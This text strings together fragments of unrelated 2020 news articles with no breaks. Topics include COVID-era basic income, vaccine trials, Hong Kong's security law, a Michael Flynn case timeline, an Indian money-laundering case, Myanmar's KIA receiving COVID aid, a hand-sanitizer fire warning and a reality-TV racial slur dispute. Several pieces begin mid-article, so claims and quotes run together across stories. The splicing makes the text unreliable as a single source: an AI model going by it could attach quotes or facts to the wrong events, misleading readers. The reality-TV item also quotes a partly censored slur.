The stimulus cash payment of $1,200 per adult incorporated in last month's CARES Act "could be seen as a very short-run UBI, which 90% of Americans got without any conditions," Marinescu says.

The pandemic might change the perception of UBI as a program chiefly aimed at the poor or long-term unemployed. "One concern that many people have about UBI is that it goes to people who don't need it or don't deserve it," Marinescu says. "But this crisis has been so visible for everybody and has affected so many people that that's far less of a concern."

Indeed, the crisis turned political leaders who in other contexts were skeptics of cash handouts into believers in universal assistance.

Every American adult should immediately receive a one-time check for $1,000 to help ensure families and workers can meet their short-term obligations and increase spending in the economy.  Senator Mitt Romney (@SenatorRomney) March 16, 2020

One is Sen. Mitt Romney (R-Utah), who decried public assistance benefits as a presidential candidate in 2012 but tweeted in March, as the pandemic was gaining steam, that "every American adult should immediately receive a one-time check for $1,000."

Whether COVID-19 will give the idea of universal basic income staying power after the crisis passes is hard to gauge.

"There are reasons why we might want to use something that resembles UBI as part of a portfolio of responses to the coronavirus crisis," says Rothstein. "The CARES was right to think that it was more important to get money out quickly than to get it perfectly targeted" to people most in need.

Rothstein says it may be better to think about "the insight of UBI  that the movement over the last 25 years to tie all of our safety net to work means that we're leaving out people who really need the help. A movement towards having aid that's available to people who are unable to work or who are not working is a good move."

He's right about that: The coronavirus crisis has shown the folly of tying health benefits to employment at a time when access to healthcare is of paramount importance and jobs are disappearing.

The crisis also has inspired more thinking about how to redress the longer term economic woes of millions of Americans. That's reflected in a proliferation of proposals from Democrats on Capitol Hill for regular assistance payments at least through the crisis, and in broad public support for continuing the assistance.

"COVID-19 has created a rare policy window where so many people are now tangibly feeling the economic insecurity we've been talking about," says Sukhi Samra, director of the Stockton project. "It has given us a unique opportunity to act and to re-create our system."
[Follow our Live Coronavirus Vaccine Tracker.]

But Ad5 is a cold virus that many people probably have already been exposed to. About half of the participants in the trial had powerful antibodies to Ad5 before they got the vaccine.

In these people, their immune systems will essentially rear up and blunt the effect of the vaccine, said Dr. Kirsten Lyke, a vaccinologist at the University of Maryland who is leading another coronavirus vaccine trial.

The researchers in China did find that people who had Ad5 antibodies were less likely to develop a strong immune response to the vaccine.

That may limit the use of this vaccine, said Dr. Peter Hotez, dean of the National School of Tropical Medicine at Baylor College of Medicine. If youre comparing vaccines, the adenovirus ones so far seem to be on the lower end of the spectrum.

Other teams have turned to adenoviruses to develop coronavirus vaccines, but they are using less common strains, or even animal strains, to circumvent this problem. Dr. Barouch, who is working on an Ad26 vaccine, said his team has data from Africa and Southeast Asia showing that people generally do not have high levels of antibodies to that strain.

Only a subset of people in the new trial produced neutralizing antibodies to the coronavirus, the kinds of molecules needed for immunity. Other vaccine candidates have reported better results in the levels of neutralizing antibodies.

People between 45 and 60 years of age also produced weaker immune responses following vaccination than younger participants. Dr. Lyke said the responses may turn out to be even weaker among people older than 60.
Were absolutely not going to give China a pass, Mr. Hassett told CNN, adding, Its a very difficult, scary move.

Mr. Trump did not comment, however, leaving his intentions unclear. He has shown limited interest in Hong Kongs anti-Beijing protest movement and, despite his public anger at China for its management of the coronavirus outbreak in Wuhan, has stopped short of condemning its president, Xi Jinping, with whom he has spent years trying to strike a huge trade deal.

The pointed statement from Mr. Pompeo, among the governments most aggressive China critics, said that the proposal would be a death knell for the high degree of autonomy Beijing promised for Hong Kong under the Sino-British joint declaration and that it would inevitably impact our assessment of one country, two systems and the status of the territory.

The United States strongly urges Beijing to reconsider its disastrous proposal, he added. We stand with the people of Hong Kong.

State Department officials have discussed how Chinas proposed national security law might affect a potential decision to revoke the preferential trade and economic status that the United States has given Hong Kong since 1997, when Britain handed control of the territory to China. A 1992 law has allowed administrations, for purposes of commerce, to treat Hong Kong under Chinese rule in the same way the American government did when the territory was a British colony.

Under the Hong Kong Human Rights and Democracy Act, which passed last fall with bipartisan support in Congress, the State Department is required to deliver a report each year certifying the semiautonomous status of Hong Kong  and thus endorsing the continuation of the preferential treatment. Mr. Trump reluctantly signed the bill into law in November, at a time when he was trying not to anger Mr. Xi because he was aiming to secure a trade deal. Chinas Foreign Ministry called that measure a naked interference in Chinas internal affairs.

Mr. Pompeo said this month he would delay issuing a report to Congress in order to measure actions that Beijing has taken on Hong Kong. That was intended to signal to Chinese leaders to ease their hard-line policies on Hong Kong, but it has not worked so far.
Rashmi joins Bricsys after more than a decade of experience in Media and Marketing. Prior to joining Hexagon AB, Rashmi led Regional Digital Marketing efforts at Autodesk, an industry leader in design, construction, and engineering technology. Anand is an experienced marketer, thought leader, and regional industry leader with a history of working for several top technology firms. She has been instrumental in driving digital transformation & adoption for multiple technology firms. She comes with rich experience of managing several e-commerce projects to drive revenues across different verticals.

As an experienced CAD marketer, it is a privilege to have Rashmi onboard. Being a Digital & Technology enthusiast, she brings a deeper knowledge and understanding of CAD users, that Bricsys is poised to leverage on. Her focus on Marketing programs and Partner support will help in bringing traction to our ongoing efforts to drive revenue for Bricsys and Hexagon PPM, across the region. Anand holds Masters in Business Administration from Bradford University, UK. She has been working in Singapore for more than 12 years.

Its an incredible opportunity to be a part of one of the fastest-growing CAD software firms in the world, said Rashmi. I am looking forward to seeing the rapid growth of Bricsys in Asia Pacific in the next few years.

Bricsys is a division of Hexagon AB, the sustainable global technology leader in autonomous, connected ecosystems. We join our extended Hexagon family to welcome Rashmi Anand to this important role.
Mike Flynn was a career Army intelligence officer who served in Afghanistan and Iraq and was still in uniform as a three-star general when he became Barack Obama's head of Defense Intelligence in July 2012.

But he fell out badly with the Obama administration, was forced out in July 2014 and moved into private intelligence consulting.

2015

December 10: Flynn is paid to travel to Moscow and sits beside Vladimir Putin at dinner celebrating propaganda outlet RT (right). His consulting business has Russian clients

2016

February: Flynn signs up to provide national security advice to the Trump campaign; in the next few months he is floated as a possible running mate

July 20 : Flynn leads 'lock her up' chants at the Republican National Convention and claims Obama concealed the actions of Osama bin Laden

July 31: FBI open counter-intelligence investigation Crossfire Hurricane into group of Trump aides, including Flynn, for possible Russian influence. In 2014 an FBI informer had told agents he saw Flynn spending time at a dinner in the UK with a Russian woman with ties to Kremlin intelligence; the information is included in their investigation. Flynn is code-named Crossfire Razor

November 4: Trump wins the election, and meets Obama who advises him not to hire Flynn. Trump ignores the advice and makes him national security adviser designate

November 30: Obama's ambassador to the United Nations, Samantha Power, makes the first of what will be 48 requests by Obama and Obama-eras officials to 'unmask' a redaction from intelligence reports which covers up Flynn's name

December 2016

Flynn meets Russian ambassador Sergei Kislyak (right) at Trump Tower and exchanges calls and messages throughout the month.

December 29: Hours after Obama announces sanctions on Russia for election interference, they speak and Flynn says it will be 'reviewed' when Trump takes power. The call is heard by intelligence agents who monitor Kisylak's calls and details are included in intelligence reports. The next day Putin says Russia won't retaliate for the sanctions

2017

January 4: FBI drafts report saying there is 'no derogatory information on RAZOR [Flynn].' But 20 minutes later FBI counterintelligence agent Peter Strzok tells case agent 'don't close RAZOR,' and '7th floor involved' meaning FBI leadership. He also emails lover Lisa Page, a senior FBI lawyer, about the Logan Act - a never-enforced 1799 law banning private people from interfering in foreign relations. 'Razor still open,' he writes and calls news 'serendipitously good'. 'Phew, but yeah, that's amazing that he is still open. Good I guess,' Page replies. Strzok respond: 'Yeah, our utter incompetence actually helps us. 20% of the time I'm guessing :)'

January 5: Obama holds Oval Office briefing on Russian election interference with Joe Biden, CIA director John Brennan, FBI director James Comey, Director of National Intelligence James Clapper and deputy attorney general Sally Yates. He asks Comey and Yates to stay behind and says he has 'learned of the information' about Flynn's call to Kislyak. Comey mentions the Logan Act

January 6: Obama's top intel figures - Brennan, Clapper and Comey - give the Trump team including Trump a briefing on Russia at Trump Tower

January 10: Joe Biden is most senior Obama official to request an 'unmasking' of an intelligence report which reveals Flynn's name

January 12: Bombshell Washington Post report reveals Flynn's call to Kislyak on December 29, 'according to a senior U.S. government official' saying: 'What did Flynn say, and did it undercut the U.S. sanctions?' It mentions the Logan Act

January 14: Flynn tells Pence he did not discuss sanctions; in coming days Trump officials repeat this on television - including Mike Pence the following day

January 20: Trump is inaugurated; Flynn becomes national security advisor

January 22: The Wall Street Journal reveals Flynn is subject to a counter-intelligence investigation over links to Russia

January 23: Strzok and Andrew McCabe the FBI Deputy director exchange messages planning to interview Flynn

January 24: Two FBI agents - Peter Strzok and one whose name remains secret - go to the White House and interview Flynn in his West Wing office. Their notes say he denies talking about sanctions with Kislyak and said 'if I did I don't remember'

January 26 and 27: Yates tells White House counsel Don McGahn that Flynn has lied to Mike Pence and other officials, is therefore compromised, could be blackmailed by Russia, and other aspects of his conduct are worrying which she can't tell McGahn because they are classified

January 28: Flynn sits in the Oval Office to take part in Trump's first call with Putin

February 9: Washington Post reveals Flynn did discuss sanctions and publishes interview in which he repeats denial 'categorically.' After the story is published, he tells the newspaper a different version - that he may have discussed sanctions

February 10 and 11: Trump says he will 'look into' Flynn but the aide is at Mar-a-Lago dinner with Shinzo Abe

February 13: Washington Post reveals that McGahn was warned about Flynn by Yates. Flynn resigns admitting he 'inadvertently' misled Pence, prompting Pence to mislead on Face the Nation in January

February 14: Trump meets Comey and says Flynn is 'a good guy' and 'I hope you can see your way to letting this go.'

March 30: Flynn offers to testify to Congress - at the time both House and Senate are Republican-controlled - or the FBI on Trump-Russia in exchange for immunity from prosecution; nobody takes up the deal offer

May 9: Trump fires Comey, and on May 17 Robert Mueller is appointed special counsel

May 10: Senate Intel Committee subpoena Flynn for his contacts with Russia; he cites Fifth Amendment; they later subpoena in more detail, and by early June he turns over documents voluntarily

November 5: Mueller's investigators revealed to be ready to indict Flynn and his son Michael Jr. on multiple charges. They are looking at his foreign lobbying and even whether he plotted to kidnap a Turkish cleric from the U.S. and deliver him to Turkey - but are also wiling to strike a deal to let his son off if he flips

November 16: Mueller team interview Flynn for first time

November 22: Flynn withdraws from 'joint defense deal' with Trump, suggesting a deal is in the works

December 1: Flynn signs a plea deal with Mueller; he will plead guilty to lying to the FBI at the White House interview. In exchange his son gets out of charges, and Flynn himself escapes charges of failing to register his lobbying for foreign entities. He appears in court and admits under oath lying to the FBI and affirms that he understands the deal. 'I recognize that the actions I acknowledged in court today were wrong, and, through my faith in God, I am working to set things right,' he says. The White House says: 'The false statements involved mirror the false statements to White House officials which resulted in his resignation in February of this year.'

December 2: Trump tweets: 'I had to fire General Flynn because he lied to the Vice President and the FBI'

2018

January: Flynn is repeatedly interviewed as he cooperates with Mueller and sentencing is repeatedly deferred

June 7: Obama deputy national security advisor reveals in book that Obama administration first learned of Flynn's December 2016 communications with Kislyak from Trump transition team members and not from 'unmasking' his name in intelligence reports

December 18: Flynn appears in court for sentencing hearing; Mueller's recommendation is little or no jail time. But Judge Emmet Sullivan says 'arguably you sold your country out' and asks why he was not charged with 'treason.' Sentencing is deferred

2019

June 12: Flynn fires Covington & Burling, his white shoe law firm, and hires new lawyer Sidney Powell, who had told him on Fox News to ditch his plea deal

August 30: Flynn files motion accusing prosecutors of conning him into a guilty plea by withholding exculpatory material while other parts of the government trying to 'smear' him as a Russian agent

December 16: Judge rejects Flynn's motion after reviewing Intel Inspector General report into the FBI and DOJ actions before the 2016 election and sets sentencing date for January 28

2020

January 7: Prosecutors say they want up to six months for Flynn; a week later he files to ask to withdraw his guilty plea 'because of the government's bad faith, vindictiveness, and breach of the plea agreement.' A week later he asks for probation if he can't get out of his deal. Sentencing is deferred until February 20

February 14

Attorney General Bill Barr appoints political appointee Jeffrey Jensen, U.S. attorney for the Eastern District of Missouri, to examine Flynn's prosecution

April 29

New notes released by Jensen show Strzok discussing keeping Flynn as a target on January 4 2017. They also show an unnamed FBI official's notes from around the interview with Flynn on January 24 2017, saying: 'What is our goal? Truth/Admission or to get him to lie, so we can prosecute him or get him fired?' Trump starts a tweet storm which lasts into the next day, saying: 'What happened to General Michael Flynn, a war hero, should never be allowed to happen to a citizen of the United States again!'

May 7

Department of Justice says it is withdrawing support for prosecuting Flynn saying the interview in the West Wing was 'untethered to, and unjustified by, the FBI's counterintelligence investigation into Mr. Flynn' and that it was 'conducted without any legitimate investigative basis.' But career prosecutors who have led the case quit just before the move is announced

May 12

Judge Emmet Sullivan puts a hold on prosecutors dropping the case and the next day appoints a 'friend of the court,' former Mafia prosecutor and retired federal judge John Gleeson to argue against the DOJ's motion to dismiss, causing uproar among Flynn's supporters

May 13

A series of senior Obama officials are named as having asked for 'unmaskings' of intelligence reports which resulted in Flynn's name being uncovered, in newly-declassified documents. But it later emerges intelligence report of his call to Kislyak used his full name so people with access to it could understand who the Russian was speaking to, which also means leaking his name is not a crime

May 21

Three-judge appeals panel orders Judge Sullivan to explain legal basis for not accepting prosecution request to drop Flynn's conviction

May 22

FBI director Christopher Wray launches 'after-action review' of bureau's investigation

June 24

Federal appeals judges rule 2-1 that Sullivan has to dismiss the case. Trump takes a victory lap, tweeting 'Great!'

July 4

Flynn tweets a video of himself taking 'the oath,' a bizarre ceremony linked to the QAnon conspiracy theory, which ends the Oath of Allegiance by saying 'where we go one, we go all,' a QAnon slogan

July 9

Judge Sullivan asks the entire D.C. appeals circuit to hear the case 'en banc' and overturn the order to dismiss. An unnamed member of the appeals circuit made the same request and the judges voted to hear it 'en banc' August 31, legally ignoring Sullivan's request

August 31

Entire D.C. appeals circuit rules against Flynn, sending the case back to Sullivan and allowing him to hold an inquiry into DOJ handling of the prosecution

September 29

Sullivan holds hearing where Flynn's lawyer reveals she briefed Donald Trump personally on the case and asked him not to pardon her client

November 25

President Trump announces the night before Thanksgiving he has granted Flynn a 'Full Pardon,' calling it a 'Great Honor' and wishing him and his family 'Congratulations'

December 12

Judge Sullivan formally dismisses the case on the grounds that the pardon renders it moot
A special court here on Friday sent DHFL promoters Kapil and Dheeraj Wadhawan, arrested in connection with a money laundering probe against Yes Bank co-founder Rana Kapoor and others, to further ED custody till May 27.

The duo, arrested earlier this monthunder provisions of the Prevention of Money Laundering Act (PMLA), was produced in court on Friday at the end of their previous remand.

The Enforcement Directorate sought further custody of the Wadhawans, stating the two were not cooperating with the probe, and that there were voluminous documents with which it wanted to confront them.

Accepting ED's plea, the court extended their custody till May 27.

The Wadhawan brothers, also being probed by ED in another money laundering case linked to gangster late Iqbal Mirchi, were summoned by the agency multiple times in the Yes Bank case but they had cited the ongoing coronavirus-induced lockdown to skip the summons.

The ED has accused Kapoor, his family members and others of laundering "proceeds of crime" worth Rs 4,300 crore by receiving kickbacks in lieu of extending big loans through their bank that later allegedly turned non-performing assets.

Five vehicles of the Wadhawan brothers were seized by the ED in April after they and their family members were reported to have traveled to Mahabaleshwar from Lonavala in Maharashtra during the lockdown.
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By Samuel Tuero

It wasnt supposed to end this way. As the world deals with the deadly coronavirus and the upending of our daily lives, graduating seniors across the United States are accepting the reality that commencement will not be happening this spring.

For most students, graduation vindicates all the challenges, hardships, and accomplishments weve worked for throughout our undergraduate years. But for students from immigrant families, like mine, the cap and gown, and walking across that stage represents a defining moment for our collective presence in this, our adopted home. The immigrant experience in higher education is the American experience. And as a Latino and the proud son of Dominicans who grew up here, earning my degree means Ive achieved something Im statistically not supposed to.

According to the Education Trust, Latino Americans are the most prominent and fastest-growing ethnic minority in the United States, but are half as likely to hold a college degree as non-Latino white adults. Thus, for those who are immigrants themselves or the children of immigrants, like me, the journey through higher ed transcends the personal achievement to embody our communities. Graduation becomes about the collective success of immigrants in the United States. For my parents, who have been with me through every step of the way during my undergraduate career, the decision to cancel our day of celebration hits hard.

My mother offered some assurance that we would celebrate no matter what, even if the whole family has to virtually call in to do so  another option many colleges are considering given the likely longevity of the coronavirus. Still, no one has been more disappointed than my grandmother and mother, who made incredible efforts to migrate to the U.S. and to adjust to American culture.

My grandmother, in 1967, made the courageous decision to leave everything shed ever known in the Dominican Republic to forge a new path here in the United States. Unfortunately, she lacked formal education, so when it came time to help her children with their schoolwork, my mom, the eldest, had to step in to help her siblings.

My grandmother worked jobs as a homemaker and various side jobs to provide for my mother and her siblings. During the winter, their landlord would take advantage of the fact they didnt understand English and deny them essential utilities such as heat. My mom described it as living in an icebox for weeks at a time. Likewise, throughout her schooling, my mom would endure name-calling and other obscenities because of her accent and darker skin.

At times, my grandmother doubted the decision she had made but knew the opportunities her children were receiving wouldnt have happened in the Dominican Republic. Her dreams and hard work afforded my mother the opportunity to attend and receive her bachelors and masters degrees from Columbia University and to raise the family I am a part of today.

Their story embodies the essence and persistence of the American dream. With the current seriousness of the pandemic, how do we come together to celebrate this moment? I will be celebrating at home and online with my family by joining a massive virtual graduation with #immigrads from across the country and our supporters on May 23, hosted by Define American and many partners who recognize that our nations very ideals are at stake during this critical moment.

The immigrant experience is essential to understanding the sacrifice, struggle, and perseverance that all Americans pursue in order to achieve something greater than ourselves. This, at its core, is what connects every one of our experiences in the country we all call home and binds us together not only as students but as Americans. And it is in this moment of crisis that we must choose hope, love, and compassion over fear. We must be each other's keeper and hold onto what binds us together as Americans.

Our humanity will be recognized by what we do for each other over the next few months. The challenges and hardships weve all faced during our undergraduate studies are not invalidated because of a lack of a ceremony. Missing commencement will in no way detract from the work weve done. Its our ever-changing collective experiences, not one celebration, that defines our journey. The future is still ours to mold, and like those who came before us, we will persevere and get through this moment together.

Samuel Moises Tuero was raised in North Bergen. He is the son of immigrants from the Dominican Republic whose experience as newcomers to the United States have shaped his passion for public service. He is a graduating senior at Rutgers University-Camden where he majors in political science and a national chapters leader at Define American.

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Burma KIA Says Myanmar Military Offers Supplies, but No Planning, to Fight COVID-19

A Myanmar military delegation provides medical supplies to the KIA for use in fighting the spread of COVID-19. / Kachin Net

YANGONAfter accepting a shipment of medical supplies for use in COVID-19 prevention from the Myanmar military (or Tatmadaw) on Wednesday, the Kachin Independence Army (KIA), one of Myanmars ethnic armed groups, said the military had not yet offered any concrete plans for how to cooperate on fighting the coronavirus on the ground.

The Myanmar military delegation, led by the Tatmadaws joint adjutant general, Major General Khun Thant Zaw Htoo, who flew in from Naypyitaw, met the COVID-19 Prevention Committee of the Kachin Independence Organization, the KIAs political arm, in KIA-controlled Suppa Village in Kachin State on Wednesday.

The KIA delegation was led by its chairman, Sumlut Gun, and vice-chairman, Lieutenant General Gun Maw. Representatives of the Kachin Peace-talk Creation Group (PCG), which brokered the meeting, were also present.

The Myanmar military provided surgical masks, N95 masks, face shields and other personal protective equipment as well as food sent by Myanmar military chief Senior General Min Aung Hlaing, according to a Tatmadaw press release.

The two sides discussed nothing special at the meeting. They discussed nothing about military or political affairs, but only talked about COVID-19 prevention and control. But they didnt negotiate any response plans, said KIA information officer Colonel Naw Bu.

Prior to the meeting, the KIA had complained that the Unlawful Association Act creates a barrier to cooperation between the government and ethnic armed groups in fighting the coronavirus, as Article 17(1) of the colonial-era law has been used to prosecute people accused of being affiliated with or providing support to armed groups fighting government troops.

The KIA has not signed the governments Nationwide Ceasefire Agreement, but is in negotiations over a bilateral ceasefire.

The two sides did not discuss Article 17(1) at Wednesdays meeting, Col. Naw Bu said.

In its statement on Wednesdays meeting, the Myanmar military reported that the KIA said it would seek help from the Tatmadaw to prevent, control and treat COVID-19 as necessary, and expressed hope that cooperation in the fight against COVID-19 would facilitate peace and national unity.

The Tatmadaw [delegation] said it is ready to help if the KIA needs it. They didnt discuss details. [The military delegation] said its donations were made in good faith, and that they are ready to help if the KIA needs anything in the future, said Hsan Awng of the PCG.

The KIA expressed gratitude for the medical supplies and vowed to make effective use of them, and hoped that cooperation over the COVID-19 response would be a step toward peace, he said.

On May 10, Snr-Gen Min Aung Hlaing met leaders of United Wa State Army (UWSA) and National Democratic Alliance Army (NDAA) at the headquarters of the Tatmadaws Triangle Region Command in eastern Shan State. He said the Myanmar military would provide assistance to the armed groups in handling COVID-19 health issues.

As the UWSA and NDAA have implemented some COVID-19 preventative measures with the help of China, the military chief urged them to rely on their own country, and dispatched medical teams to areas controlled by the two groups.

The Myanmar Presidents Office in late April formed a committee with representatives of armed groups to contain COVID-19 in rebel-held territories. The committee is headed by the vice chairman of the National Reconciliation and Peace Center (NRPC), Dr. Tin Myo Win.

At the instruction of the NRPC, the Kachin State government provided 5.7 million kyats (US$4,000) and surgical masks to the KIAs COVID-19 control committee to help care for those under quarantine in areas controlled by the armed group.

In an interview with the Myitkyina-based Voice of Malikha News Agency on May 14, Kachin State government director-general U Zaw Zaw said the state government provided the aid at the request of the KIA.

The KIA, however, said it did not ask for help and returned all the aid through the PCG on Monday.

Despite the misunderstanding, the KIA said it and the Myanmar government had agreed in principle to continue their cooperation, including on information exchanges.

The KIA said that since April it had been monitoring checkpoints on the border with China as well as between its territory and areas controlled by the Myanmar government to prevent the spread of the coronavirus. It is requiring all those who enter its territory to undergo a 21-day quarantine.

Around 100,000 civilians live under the KIA, and around 150 people are reportedly in its quarantine centers. Since April, the armed group has been building a hospital in Laiza for COVID-19 patients. It has also negotiated the possibility of obtaining lab test kits from China.

Translated from Burmese by Thet Ko Ko
Health experts have encouraged us for months to use hand sanitizer when we're out and about to protect ourselves from the coronavirus pandemic.

But turns out there's a hidden danger in that bottle of disinfectant. If exposed to direct sunlight, it could explode.

The warning comes after Western Lakes Fire District shared a photo showing a burned-out door from the driver's side of a car.

According to to the post, hand sanitizer can ignite inside a vehicle sitting in direct sunlight, which could severely damage your vehicle.

Most hand sanitizers are alcohol-based, anywhere from 60 percent to 70 percent, which makes them flammable (file image)

Because it's flammable, leaving the disinfectant in direct sunlight in a hot car could heat the bottle up and cause it to explode (pictured)

'Keeping it in your car during hot weather, exposing it to sun, and particularly being next to open flame while smoking in vehicles or grilling while enjoying this weekend can lead to disaster,' the post read.

'Please respect the possibilities and be fire safe.'

Experts say that most hand sanitizers are alcohol-based, anywhere from 60 percent to 70 percent, which makes them flammable.

'It's flammable and it's an irritant,' Sherrie Wilson, the first female firefighter-paramedic in the Dallas Rescue Department, told CBS Dallas-Fort Worth.

'When it's venting and if it's venting in a small space like a car, and vapor is released, it can explode.'

Wilson, now retired, told the station that vapors from pump bottles can leak and spontaneously combust.

'What happens with flammables, is they turn to vapor, and they vaporize into a confined space which was a car,' she said.

'And then if there was any introduction of static electricity and that could simply be somebody getting in and pulling down on a sweater or jacket or anything like that.'

However, some are skeptical. According to WMTV, hand sanitizer would need to reach a temperature of approximately 300F to combust.

Vehicles, which can heat up enough to injure - or even kill - humans and animals, don't get much hotter than 160F.

Experts say that, just to be safe, the best option is to keep the hand sanitizer on you and don't leave it in your car.

In the US, there are more than 1.6 million confirmed cases of the virus and more than 95,000 deaths.
A 45-year-old farmer at Twifu Mampong in the Twifo Atimokwa District of the Central Region on Tuesday inflicted deep cutlass wounds on his biological mother.



Kennedy Kwaku Adu, blamed his mother for his inability to get his wife pregnant after years of marriage and had earlier threatened to behead her.



Deputy Suprintendent of Police (DSP) Addai Boateng, the Twifo Praso District Commander confirmed the incident and the arrest to the Ghana News Agency.



He said the suspect and his wife Ms Gifty Anku had been married for quite a long time without a child.



He said due to that suspicion, peace had therefore eluded the family house where the suspect, victim, his wife and the suspects younger brother all reside.



According to the District Commander, the suspect returned home on the night of the incident drunk, and started hurling insults on his mother and later inflicted the cutlass wounds on her.



He said the mother is currently battling for her life at the Twifu Praso Government Hospital, where the suspect who was also injured when his younger brother tried to separate the brawl, is also receiving treatment.



DSP Boateng said investigations was on going and the suspect will soon be arraigned.

Source: GNA









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Natco Pharma Ltd on Friday said it will support a clinical trial conducted by Columbia University, New York to determine the effectiveness of Chloroquine Phosphate in treatment of COVID-19.

The company through its marketing partner in the US, Rising Pharmaceuticals will donate Chloroquine Phosphate (CQ) tablets to support the Phase 2 of a clinical trial at Columbia University, Natco Pharma said in a regulatory filing.

"The trial aims to determine the effectiveness of CQ in preventing COVID-19 infection in healthcare workers with moderate to high risk of exposure to the virus," it said.

Recently, NATCO had donated CQ tablets to a global clinical trial conducted by the CROWN(COVID-19 Research Outcomes Worldwide Network) Collaborative at the Washington University School of Medicine in St. Louis.

The company said researchers at Columbia University are conducting this critical study to assess CQ as prophylaxis against COVID-19 in healthcare workers.

The Phase 2 trial will enrol 350 volunteers who work in direct patient care roles at Columbia University Irving Medical Center and who have contact with patients, who may have COVID-19 infection.

NATCO has been supplying CQ tablets, a USFDA approved drug, through its marketing partner to the US since 2011.

Columbia University is renowned across the world for its expertise in conducting well designed clinical trials and NATCO is glad to work with them on this path-breaking trial, the company said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Babygirl Lisa Hamme has been in hot water lately for her treatment of Usman Umar. After constantly arguing with Umar the entire season of 90 Day Fiance: Before the 90 Days, leaked footage from the Tell-All showed that Hammes abuse went further than anyone ever thought. Umar accused her of calling him the N-word. Now, Hamme has admitted to using such language, but she doesnt think that people should judge her for it.

Babygirl Lisa Hamme and Usman Umar of 90 Day Fiance | baby_girl_lisa_2020 via Instagram

RELATED: 90 Day Fiance: Is Babygirl Lisa Hamme Cheating on Usman Umar with Her Ex-Husband?

Lisa Hamme and Usman Umars relationship

Hamme and Umar met through a mutual friend.

We met online, Hamme said in an interview with Without a Crystal Ball. We met through a mutual friend out of the UK. I knew her, she knew him, and he was looking for a female companion. And I just knew her reputation, Im like, uh, I dont know about thisbut send him through my filtered messaging, and Ill see what its about.

I was 49 and Usman was 29 when we first met, she continued. And when we first met, Ill be honest with youI honestly thought, oh, great, another yahoo boy out of Nigeria thats going to harass me to no end. And I gave him the benefit of the doubt because I dont like that stigma.

Lisa uses homophobic and racist language

Before the Tell-All footage was released, Hamme was already in hot water for using racist and homophobic language on her social media.

RELATED: 90 Day Fiance: Babygirl Lisa Hamme Puts a Bounty on Blogger Trying to Get Her Kicked off of the Show

Fans even made a petition to get her kicked off of the show for her language.

Past cast members have been terminated for homophobic slurs, and the same standards should apply for when racist slurs are used, one of the petitions reads. TLC should not employ these people regardless of how much attention they get. To keep her shows they condone it and have selective preferences. She has been documented saying the slur and admitted it on social media. THIS IS NOT OKAY. Make the right choice TLC.

But, Hamme has not been taken off of the show and was still invited to participate in the Tell- All.

Lisa Hamme calls Usman the N-word

While filming the Tel-All, Hamme tried to stop Usman from telling audiences how she treated him.

If you start this sh*t again, she said. Do not open that can of worms. Do not. Do not start. Let me tell you something. Listen, if you open a can of worms.

But Umar continued anyway.

Lisa, last week you called me n*gger which I know is totally inappropriate in America, he said. You called me n*gger, I dont even get angry about it because I am used to how you are behaving.

RELATED: 90 Day Fiance: Will Babygirl Lisa Hamme be on The Other Way?

Lisa Hamme apologizes

Recently, Hamme went live on Instagram and apologized for her words.

It is said if you sin and you apologize and you pray for forgiveness, it is forgiven, she said. So, my husband and I, it is a private manner between him and I. Because they are not going to drop it and its sad. Because the world needs to be united. We are human beings.

She went on to say that people should worry about other things.

It just bothers me that there are so many hateful people in the world, she said. We have people dying every day. I made the mistake of saying the N-word. I apologized several times. But you still want to come at me. This is something between my husband and I. but Im here to take your abuse.






It is "conceivable" that the U.S. could begin to roll out a coronavirus vaccine by December, the White House's top infectious disease expert said Friday.

"Back in January of this year when we started the phase 1 trial, I said it would likely be between a year and 18 months before we would have a vaccine. I think that schedule is still intact," he said in an interview with NPR on Friday. He cautioned that there could be obstacles that throw off the drug's development and that any timeline is "never a promise."

"I think it is conceivable, if we don't run into things that are, as they say, unanticipated setbacks, that we could have a vaccine that we could be beginning to deploy at the end of this calendar year, December 2020, or into January, 2021," he said on "Morning Edition."

Fauci's remarks came four days after U.S. biotech company Moderna published some positive data from its phase one human trial on its potential vaccine. The National Institutes of Health has partnered with Moderna to accelerate development of a vaccine.

STAT News doused some of the optimism around the vaccine after reporting that researchers said the released data was incomplete. Fauci described it Friday as "partial data."

He said scientists at the National Institute of Allergy and Infectious Diseases, where he serves as director, are compiling the full data for submission to a peer-reviewed journal in a "couple of weeks." He said the potential vaccine is on "an accelerated pace" but added that researchers are not compromising safety or care.

"When you're dealing with vaccines there could be so many things that get in the way like it might not be entirely effective," Fauci told NPR. "And you wouldn't want to deploy a vaccine that's not effective and certainly not one that's not safe."

Because of the crisis, researchers are accelerating development of the vaccine candidate by simultaneously investing in multiple stages of research even though doing so could be for naught if the vaccine ends up not being effective or safe, Fauci said.

"The risk is not to the patient because the safety and the scientific integrity is intact," he said. "The risk is to the investment and we feel that it's important enough to make those investments in order to save months."

Last month, the federal Biomedical Advanced Research and Development Authority awarded Moderna up to $483 million in funding to accelerate development of the Covid-19 vaccine candidate.

Earlier this month, Moderna announced a 10-year partnership with Swiss drugmaker Lonza to accelerate production of the experimental vaccine. Moderna CEO Stephane Bancel told CNBC at the time that the company hopes to begin manufacturing its potential vaccine "as early as July."

The potential vaccine was the first candidate to enter a phase one human trial in March. More than 100 vaccines were in development globally as of April 30, according to the World Health Organization, with at least eight in human trials.

CNBC's Berkeley Lovelace contributed to this report.
After the pro-democracy protests that rocked Hong Kong in 2019, China is now ready to impose a new national security legislation on the island nation.

In a press breifing, Zhang Yesui spokesman for the China`s National People`s Congress, said details of the legislation would be given after the parliament holds its annual session on Friday.

"In light of the new circumstances and need, the National People`s Congress (NPC) is exercising its constitutional power" to establish a new legal framework and enforcement mechanism to safeguard national security in Hong Kong, he was quoted as saying by Reuters.

While US President Donald Trump told reporters "nobody knows yet" the details of China`s plan. "If it happens we`ll address that issue very strongly," he said.

Trump, who is seeking re-election in November, has upped his attacks on China.

In 2019, Trump approved the "Hong Kong Human Rights and Democracy Act" which requires the State Department to certify that Hong Kong retains enough autonomy to justify favourable trading terms with US.

The new law will likely end Hong Kong's many freedoms that not allowed on the mainland and give more control to China over the former British colony.

A senior Hong Kong government official said details on the move and its implementation remained unclear, but Hong Kong media have reported the legislation would ban secession, foreign interference, terrorism and all seditious activities aimed at toppling the central government.



Opposition lawmakers in Hong Kong said the move would gravely affect its reputation as a financial centre. "If this move takes place, `one country, two systems` will be officially erased," said democratic lawmaker Dennis Kwok. This is the end of Hong Kong," he told Reuters.

While if Hong Kong`s special status is removed it would be a major blow for the US as at least 85,000 of its citizens lived in Hong Kong in 2018 and more than 1,300 US companies operate there, including nearly every major US financial firm.

(With agency inputs)
